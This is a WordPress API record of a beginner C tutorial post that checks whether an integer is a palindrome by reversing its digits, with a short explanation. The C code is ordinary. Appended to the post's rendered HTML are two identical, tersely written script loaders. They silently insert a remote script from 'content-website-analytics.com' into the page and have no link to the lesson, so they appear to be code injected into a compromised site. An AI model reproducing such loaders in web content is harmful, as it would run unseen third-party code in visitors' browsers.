{"id":522,"date":"2024-10-08T15:52:46","date_gmt":"2024-10-08T10:22:46","guid":{"rendered":"https:\/\/codexplained.in\/?p=522"},"modified":"2025-11-24T16:03:58","modified_gmt":"2025-11-24T10:33:58","slug":"check-palindrome-number","status":"publish","type":"post","link":"https:\/\/codexplained.in\/?p=522","title":{"rendered":"Check Palindrome Number"},"content":{"rendered":"<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: plain; title: ; notranslate\" title=\"\">\n#include &lt;stdio.h&gt;\n\nint main() {\n    int num, reversedNum = 0, remainder, originalNum;\n\n    \/\/ Input a number from user\n    printf(&quot;Enter an integer: &quot;);\n    scanf(&quot;%d&quot;, &amp;num);\n\n    \/\/ Store the original number\n    originalNum = num;\n\n    \/\/ Reverse the number\n    while (num != 0) {\n        remainder = num % 10;  \/\/ Get the last digit\n        reversedNum = reversedNum * 10 + remainder;  \/\/ Add it to the reversed number\n        num \/= 10;  \/\/ Remove the last digit from the original number\n    }\n\n    \/\/ Check if the original number is equal to the reversed number\n    if (originalNum == reversedNum) {\n        printf(&quot;%d is a palindrome.\\n&quot;, originalNum);\n    } else {\n        printf(&quot;%d is not a palindrome.\\n&quot;, originalNum);\n    }\n\n    return 0;\n}\n\n<\/pre><\/div>\n\n\n<h4 class=\"wp-block-heading\">Explanation:<\/h4>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Input the number<\/strong>: We first take input from the user.<\/li>\n\n\n\n<li><strong>Reverse the number<\/strong>: We take the last digit of the number (using <code>% 10<\/code>), add it to the reversed number, and remove it from the original number (using <code>\/= 10<\/code>).<\/li>\n\n\n\n<li><strong>Comparison<\/strong>: If the original number and the reversed number are the same, it is a palindrome; otherwise, it is not.<\/li>\n<\/ul>\n<script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script><script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script>","protected":false},"excerpt":{"rendered":"<p>Explanation:<\/p>\n","protected":false},"author":1,"featured_media":523,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"_uf_show_specific_survey":0,"_uf_disable_surveys":false,"footnotes":""},"categories":[75],"tags":[],"class_list":["post-522","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-c"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/522","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=522"}],"version-history":[{"count":3,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/522\/revisions"}],"predecessor-version":[{"id":1485,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/522\/revisions\/1485"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/media\/523"}],"wp:attachment":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=522"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=522"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=522"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}